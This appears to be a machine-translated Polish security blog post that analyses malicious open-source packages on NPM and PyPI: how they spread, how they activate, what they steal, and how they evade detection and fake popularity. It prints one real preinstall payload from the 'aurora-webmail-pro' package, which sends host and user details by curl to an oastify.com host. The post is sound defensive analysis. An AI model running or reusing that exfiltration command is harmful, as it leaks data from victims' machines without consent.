W poprzednim odcinku Otwarte pakiety złośliwego oprogramowania: problemomówiliśmy, dlaczego sprawcy zagrożeń byli tak entuzjastycznie nastawieni do publikowania nowych złośliwych komponentów lub wstrzykiwania złośliwego oprogramowania do najnowszych wersji istniejących komponentów: infrastruktura typu open source pozwala każdemu, gdziekolwiek, na utworzenie tymczasowego konta w rejestrze komponentów (takim jak NPM, PyPI, Docker Hub czy Visual Studio Marketplace) lub na platformie do wspólnego tworzenia oprogramowania (takiej jak GitHub). Zerowy koszt i wiele możliwości wykorzystania nadmiernego zaufania, jakim zespoły programistyczne tradycyjnie darzą komponenty innych firm.
Asymetria między łatwością, z jaką atakujący mogą rozpowszechniać złośliwe oprogramowanie, wykorzystując infrastrukturę dostępną dla oprogramowania typu open source, a trudnością, z jaką organizacje opracowujące oprogramowanie (czyli wszyscy?) muszą unikać infekcji złośliwym oprogramowaniem (i dostarczać je w oprogramowaniu, które rozpowszechniają dla innych), doprowadziła do tego, że w zeszłym roku liczba złośliwych pakietów niemal osiągnęła ćwierć miliona.
To problem tak wielkiej wagi, że żadna pojedyncza organizacja nie jest w stanie go rozwiązać, a społeczność jest w trakcie przeformułowywania procesu open source w zakresie zaufania, zasad bezpieczeństwa domyślnego i bezpieczeństwa w fazie projektowania oraz cyklu życia komponentów. Przyjrzymy się tym koncepcjom w następnym odcinku. Ochrona przed złośliwymi pakietami Open Source: co (nie) działa.
Pamiętajmy, że mówimy o komponentach oprogramowania, które w większości przypadków odpowiadają pakiety oprogramowania: komponenty wielokrotnego użytku spakowane tak, aby można było do nich odwoływać się jako do zależności w manifeście oprogramowania, i instalowane za pomocą menedżera pakietów lub narzędzia do kompilacji. Należy pamiętać, że ten przypadek można rozszerzyć o publiczne obrazy kontenerów (używane przez środowiska wykonawcze kontenerów i platformy orkiestracji, takie jak Kubernetes) i rozszerzenia narzędzi programowych (do budowy, automatyzacji i wdrażania).
Tutaj analizujemy, jak to taktyka ataku oparta na złośliwych komponentach działa zgodnie z poprzednimi przykładami i tym, co widzieliśmy na naszej platformie wczesnego ostrzegania przed złośliwym oprogramowaniem (MEW). Przeanalizujemy złośliwe komponenty w różnych wymiarach:
(1) sposób wybrany do dystrybucji (rejestr używany w nowym lub istniejącym komponencie oraz technika użyta do zainfekowania opublikowanej wersji komponentu), (2) w jaki sposób złośliwe oprogramowanie jest aktywowane lub uruchamiane, (3) złośliwe zachowanie, tj. jakie szkodliwe działania są obserwowane i jaka jest motywacja atakującego, (4) jakie techniki są powszechnie stosowane w celu zaciemniania, ukrywania się w celu pozostania niezauważonym, ruchu bocznego, komunikacji z hostami poleceń i kontroli (C2) itp.; oraz (5) techniki zdobywania wystarczającej popularności i zaufania, aby ofiary zdecydowały się na zainstalowanie komponentu.
Wybrany mechanizm dystrybucji
Obserwujemy „szum„niewyrafinowanych, złośliwych pakietów wykorzystujących typosquatting do wyłudzania danych od nieostrożnych programistów, którzy używają literówki w nazwie pakietu dla swoich zależności. Wiele popularnych pakietów otrzymuje lawinę pakietów o podobnych nazwach z literówkami, z oczekiwaniem, że wyłudzą one dane od nieostrożnych programistów.
Używają konta tymczasowego, publikują grupę pakietów typosquat, tworzą kolejne i publikują kolejną grupę… Wykorzystując automatyzację i pomysłowość, mogą osiągnąć pewną wyrafinowanie, ale zazwyczaj są one dość trywialne. Wewnętrznie nazywamy je „anchoisGłównym celem jest kradzież danych uwierzytelniających, ale czasami zdarza się, że oprogramowanie szpiegujące wykrada kod źródłowy lub poufne dane, takie jak dane osobowe (PII), przechwytuje dane z schowka i budzi inne obawy.
Niespodziewanie pojawiają się bardziej wyrafinowane złośliwe komponenty, „rekiny”. Mniejszość z nich jest atakowana przez określone grupy lub organizacje, zazwyczaj za pomocą programów do wysysania kryptowalut lub skimmerów internetowych, aktywowanych warunkowo, być może zgodnie z podejściem obserwowanym w incydent strumienia zdarzeń odszyfrowania ładunku ataku tylko wtedy, gdy do pakietu odwołuje się pakiet docelowy.
Mechanizm dystrybucji został przeanalizowany w znakomitym i obecnie klasycznym artykule: „Kolekcja noży Backstabbera: przegląd ataków na łańcuch dostaw oprogramowania typu open source”, którą koniecznie trzeba przeczytać. Na pewno widziałeś już ten ładny wykres:
Zbadano wszystkie możliwości, w tym nowe i istniejące pakiety; ingerowanie w kod źródłowy, system kompilacji lub sam spakowany komponent; wykorzystywanie skradzionych danych uwierzytelniających lub socjotechniki; przejmowanie opuszczonych kont i repozytoriów lub zatruwanie utrzymywanych. Niektóre ataki otrzymały nazwy (Typosquatting, Zamieszanie związane z zależnością, Manifest Confusion, Repo-jacking. itd.) i zostały już omówione gdzie indziej.
A co z wybranymi rejestrami?
NPM nadal przoduje pod względem całkowitej liczby złośliwych pakietów, ale od tego roku obserwujemy gwałtowny wzrost w PyPI. Python to popularny ekosystem do nauki o danych i uczenia maszynowego. W rzeczywistości zagęszczenie złośliwego oprogramowania jest obecnie wyższe w PyPI niż w NPM.
Jak uruchamia się złośliwe oprogramowanie
Szkodliwe pakiety są uruchamiane podczas instalacji tylko w 4 na 10 przypadków (w ostatnich latach odsetek ten wynosił blisko 6 na 10). Pozostałe złośliwe pakiety działają w czasie wykonywania, a 1 na 100 jest uruchamiane podczas testów. Przeciwnicy zdają się wiedzieć, że w wielu miejscach wyłączono możliwość niekontrolowanego wykonywania skryptów instalacyjnych.
Co dostają źli faceci?
Wymienimy kategorie złośliwych zachowań, umieszczając najpopularniejsze na początku. Należy pamiętać, że wpływ może być zupełnie inny: wycieraczka jest uparcie destrukcyjny, ale nie jest powszechny i wystąpił tylko w kilku przypadkach, związanych z ukierunkowanymi kampaniami cyberwojny lub brutalnym haktywizmem. Poniższe kategorie są dość powszechne:
- Złodziej informacji / Wysysacz danych uwierzytelniającychZdecydowanie najczęstsze, ponad 90% nieskomplikowanych ataków to proste programy kradnące dane uwierzytelniające, takie jak hasła, tokeny dostępu, klucze API i klucze prywatne (do SSH i podobnych). Prawdopodobnie są one najprostsze do napisania (podobnie jak wycieraczki?). Programy te enumerują znane pliki/katalogi i inne źródła (np. klucze rejestru), pakują zawartość i wysyłają te dane do serwera C2. Pomysł jest prosty: „Publikuję program kradnący dane uwierzytelniające phishing, aby móc później wykorzystać te dane do przeprowadzenia ataku ukierunkowanego”.
Obserwowana sieć C2 jest zazwyczaj tania i brudna, jak kanały Telegram lub narzędzia do tunelowania przypominające ngrok (często w formie odwrotnych serwerów proxy udostępnianych przez wychodzące adresy IP VPN). Istnieją setki (!) możliwości, a wiele projektów GitHub jest objętych temat kradzieży hasełSpecjalizacje takie jak keyloggery rzadko występują w przypadku złośliwych pakietów i obrazów kontenerów, ale częściej w przypadku rozszerzeń narzędzi, gdzie wymagana jest interakcja z użytkownikiem.
- Dropper / DownloaderDrugi pod względem popularności, zazwyczaj pierwszy w atakach wieloetapowych. Ponad jeden na trzy złośliwe komponenty ma droppery (jeśli złośliwy ładunek jest zawarty w pakiecie) lub downloadery (ładunek jest pobierany z punktu końcowego kontrolowanego przez atakującego). Ładunek jest często znaną binarną odmianą złośliwego oprogramowania i jest uruchamiany, a czasem utrwalany, w celu instalowania backdoorów, oprogramowania szpiegującego, programów do wysysania kryptowalut i innych zastosowań. Pobrany lub wdrożony ładunek rozpoczyna atak drugiej fazy z całą mocą zapewnianą przez istniejące pliki binarne złośliwego oprogramowania. Pliki binarne mogą być dystrybuowane w pakiecie, często podszywając się pod obrazy lub rzekomo nieszkodliwe typy plików, aby uniknąć wykrycia podczas łączenia się z nieoczekiwanymi witrynami.
- Złodzieje/górnicy kryptowalutPrzeciwnicy motywowani finansowo są skłonni wykorzystać Twoje zasoby w chmurze do uruchamiania koparek kryptowalut (wykrywają nawet, czy działają one na maszynie wirtualnej w chmurze). Nie obchodzi ich niski współczynnik zysku 1 dolara za każde 53 dolary naliczone ofierze za kradzież infrastruktury chmurowej. Ofiary mogą nie być tego świadome, dopóki nie otrzymają nieoczekiwanego rachunku. Na szczęście to się zdarza. Cryptojacking kampanie w złośliwych pakietach pojawiają się sporadycznie, a następnie znikają, phishing na użytkowników portfeli lub ostatecznie atakują dostawcę portfeli, jak w przypadku Atak na księgę główną.
Inne zachowania, takie jak rozmieszczanie tylne drzwi Zdalne wykonywanie kodu poprzez otwarcie powłoki odwrotnej jest obecnie rzadsze niż w przeszłości. Na przykład 123rf_contributor_web pakiet (teraz usunięty z rejestru) otwiera się bez żadnego zaciemniania, jako odwrotna powłoka skopiowana i wklejona z Arkusz ściągawek do odwróconej powłoki:
Oprócz elementów legalnych i złośliwych zaobserwowaliśmy szereg nadużyć, w tym:
Pakiety spamowe
Istnieją tysiące małych pakietów, głównie w NPM, bez złośliwego oprogramowania, ale obiecujących łatwy zarobek, olejki eteryczne, linki do ofert Viagry i tak dalej. Kilku użytkowników publikuje taki spam, zajmując dużo miejsca w rejestrze. Inny podmiot (lub podmioty) prawdopodobnie z Indonezji próbował (lub próbowali) czerpać korzyści, nadużywanie herbatyRank Przeznaczony do wynagradzania programistów open source poprzez tworzenie dziesiątek tysięcy powiązanych ze sobą pakietów NPM z powiązanymi, fikcyjnymi repozytoriami GitHub. Stanowi to rażące naruszenie warunków użytkowania.
Mistyfikacje w zakresie nagród za błędy i badań nad bezpieczeństwem
Kiedy pakiet opisuje siebie jako eksfiltrujący dane w dobrych celach, takich jak wykrywanie luk w zabezpieczeniach w programach bug bounty lub badanie pewnych aspektów ekosystemu. Widzieliśmy tysiące pakietów w tej kategorii, które pobierają dane identyfikacyjne, ale niezbyt wrażliwe, na adres Burp Collaborator z PortSwigger (np. host w domenie oastify.com). Często obserwowaliśmy kopie… Zamieszanie związane z zależnością dowód koncepcji autorstwa Alexa Birsana, jak aurora-webmail-pro pakiet (usunięty z rejestru), który po prostu uruchamia ten paskudny kod w skrypcie preinstalacyjnym:
exec("a=$(hostname; pwd; whoami; echo 'aurora-webmail-pro'; curl http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/;) && echo $a | xxd -p | head | while read ut; do curl -k -i -s http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/$ut;done")
Zawierał również „To jest dowód koncepcji prostego ataku polegającego na pomyłce zależności”opis zastrzeżenia w pakiet.json. Jest to jawne naruszenie warunków korzystania z usługi, nawet bez złośliwych zamiarów.
Dobre wieści? Nie widzieliśmy (jeszcze) ataków ransomware przeprowadzanych za pośrednictwem złośliwych komponentów. Z nieznanych przyczyn cyberprzestępcy zdają się preferować bardziej tradycyjne mechanizmy phishingu e-mailowego, oparte na protokole RDP i mechanizmy drive-by download.
Dodatkowe zaobserwowane techniki
Do zapewnienia przetrwania, unikania obrony, gromadzenia informacji, komunikacji z jednostkami dowodzenia i kontroli oraz eksfiltracji stosowano wiele technik.
Uporczywość w złośliwych komponentach uzyskuje się za pomocą funkcji trwałości w złośliwym oprogramowaniu binarnym drugiego etapu, ale czasami zachowanie jest zlokalizowane w kodzie pakietu, przy czym najczęściej są to zaplanowane zadania i zmiany w rejestrze systemu Windows.
Obfuskacja jest powszechny, ale nieskomplikowany. Większość pakietów typosquattingowych (pamiętaj „anchois”?) w ogóle nie stosują zaciemniania; wiele z nich korzysta albo z trywialnych rozwiązań (kodowanie base64/hex lub szyfry podstawieniowe, takie jak rot13), albo z dostępnych obfuskatorów kodu i minifikacji, które można łatwo odwrócić za pomocą odpowiednich narzędzi. Tylko „rekiny” stosują prawdziwe, hardkorowe zaciemnianie, trudne do odtworzenia.
Zaciemnianie może ukryć atak, ale dlaczego kod w komponencie open source miałby być zaciemniony? Czy istnieją dowody na to, że coś należy ukryć przed wzrokiem osób postronnych? Znaleźliśmy wiele przypadków niezłośliwych pakietów, które wykorzystują zaciemnienie do ochrony własności intelektualnej, co jest sprzeczne z definicją „open source”. Zaciemnianie może być wykorzystane jako dowód obecności złośliwego oprogramowania, ale nie jest to rozstrzygające. Trudno jest również je odczarować.
Uchylanie się Kontrola obronna wykorzystuje proste techniki. Złośliwy kod jest często chroniony spróbuj … złap Bloki ignorują wszelkie wyjątki, dzięki czemu nietypowa aktywność nie jest rejestrowana w logach. Weryfikacja środowiska (uruchomionego na maszynie wirtualnej lub kontenerze) jest rzadkością, chyba że chodzi o złośliwe oprogramowanie atakujące konkretną organizację lub środowisko.
Kolejną techniką unikania wykrycia było maskowanie plików binarnych w obrazach i plikach PDF (rodzaj steganografii).
Ponieważ najczęściej występującymi złośliwymi komponentami są złodzieje informacji, zbieranie danych jest niezbędne. Sekrety (hasła, tokeny dostępu, klucze API, klucze kryptograficzne) są rutynowo skanowane w plikach dziennika, zmiennych środowiskowych, a nawet w schowku (co zdarza się w przypadku trojanów bankowych i programów wykradających kryptowaluty). Eksfiltracja kodu źródłowego jest również powszechna, ponieważ instalacja pakietów często odbywa się w węźle deweloperskim, gdzie mogą być klonowane wewnętrzne repozytoria Git. Widzieliśmy pakiety wyliczające katalogi w poszukiwaniu repozytoriów Git. Szukanie lokalizacji takich jak .env, private.pem, settings.py, app.js lub application.properties jest dość powszechne.
Eksfiltracja to kolejna powszechnie stosowana metoda. Tylko niewielka część złośliwych pakietów próbuje ukryć miejsce docelowe wydobytych danych. Kanały Telegram i tunele przypominające ngrok są często używane. I jest ich wiele zwykle umieszczane na białej liście domeny wykorzystywane do eksfiltracji.
Inne techniki, takie jak eskalacja uprawnień czy przemieszczanie się na inne stanowiska, były mniej powszechne.
Zdobywanie popularności i zaufania
Wyobraź sobie oszusta technologicznego z gotowym złośliwym oprogramowaniem, który zastanawia się: „Jak sprawić, by ten kawałek g#$! był godny zaufania dla niczego niepodejrzewających idiotów?”.
Oznacza to, jak sprawić, by wpis dla złośliwego komponentu pokazywał wiele gwiazdek/wideł (wskazujących na popularność), a także wersje/problemy i pull requests (dla aktywności). Chodzi o zdobycie fikcyjnej popularności (gwiazdek) i osób na utrzymaniu, a także o przekonujący wizerunek w zakresie trafności i utrzymania.
Rejestr nie sprawdza, czy zawartość projektu GitHub i zawartość pakietu są zgodneTo dobrze znany problem w łańcuchu dostaw oprogramowania. Rejestry publiczne to gigantyczne leje krasowe, które pochłaniają wszystko, co się do nich trafia. Można połączyć dowolne repozytorium.
Jeśli złośliwy pakiet podrabia popularny pakiet, to proste: wystarczy odwołać się do istniejącego repozytorium GitHub w manifeście zależności użytym do utworzenia pakietu i opublikowania go w rejestrze. W przypadku nowych pakietów w fałszywym repozytorium GitHub może być potrzebna większa pomysłowość, na przykład stworzenie fałszywego… obserwacja gwiazd/rozwidlanie Konta GitHub za pomocą skryptów.
A jeśli zawartość Twojego pakietu jest w miarę podobna do zawartości repozytorium, wprowadź tu i ówdzie kilka dobrze zaprojektowanych zmian… Możesz wstrzyknąć złośliwe oprogramowanie do nowego pakietu, przypominającego popularny, odwołującego się do repozytorium istniejącego pakietu, i czekać na literówki. Jeśli ktokolwiek odważy się porównać zawartość archiwum tarball z zawartością repozytorium GitHub, różnice w punktach wstrzyknięcia złośliwego oprogramowania mogą zostać łatwo przeoczone. Widzieliśmy to podejście już wiele razy.
Mechanizm umożliwiający komponentowi złożenie oświadczenia zabezpieczającego przed manipulacją dotyczącego pochodzenia, sposobu wykonania opakowania, źródeł pochodzenia i osoby, która je wykonała, byłby mile widziany. Ale to już inna historia.
Czy komponent X jest złośliwym oprogramowaniem?
Czy istnieje (kompleksowa) baza danych złośliwych pakietów? Nie. Luki w zabezpieczeniach open source mają przypisany identyfikator CVE, ale tylko kilka złośliwych pakietów (zwłaszcza tych, które trafiają na pierwsze strony gazet) go otrzymuje. Identyfikator CWE dla złośliwych pakietów to CWE-506 (osadzony złośliwy kod).
Standardowe narzędzia do wykrywania złośliwego oprogramowania (VirusTotal, MalwareBazaar, SOREL-20M…) nie uwzględniają konkretnych komponentów złośliwych. To byłoby mile widziane!
Istnieją bazy danych i zestawy danych z próbkami badawczymi do analizy (korzystamy z kilku z nich), ale wpisy są aktualizowane dopiero po rozpoznaniu złośliwego pakietu, co często jest już za późno. Jeśli jesteś zainteresowany, OpenSSF Złośliwe pakiety to dobry początek.
W następnym wpisie omówimy, jak rozpoznać, czy dany pakiet jest złośliwy. Uwaga: tak, istnieją sposoby wczesnego sprawdzenia obecności złośliwych komponentów, zanim rejestr usunie znany złośliwy komponent.
Dalsze czytanie
W następnym odcinku „Ochrona przed złośliwymi pakietami Open Source: co (nie) działa" omówimy zasady bezpieczeństwa oprogramowania typu open source. Większość specjalistów zajmujących się bezpieczeństwem ma intuicję co do tego, jak sobie radzić z tym zagrożeniem, ale krąży wiele błędnych informacji.
Przeanalizujemy, dlaczego te idee są błędne i jak te błędne przekonania przyczyniają się do popularności tego mechanizmu ataku oraz do ogromnego ryzyka, na jakie narażone są organizacje. Następnie omówimy, co działa, a także jaki jest wymagany nakład pracy i zasobów.
Będziemy również publikować informacje na temat ewolucji złośliwych pakietów pod kątem ich przeznaczenia, mechanizmu wstrzykiwania i technik ataków.
Bądźcie czujni!
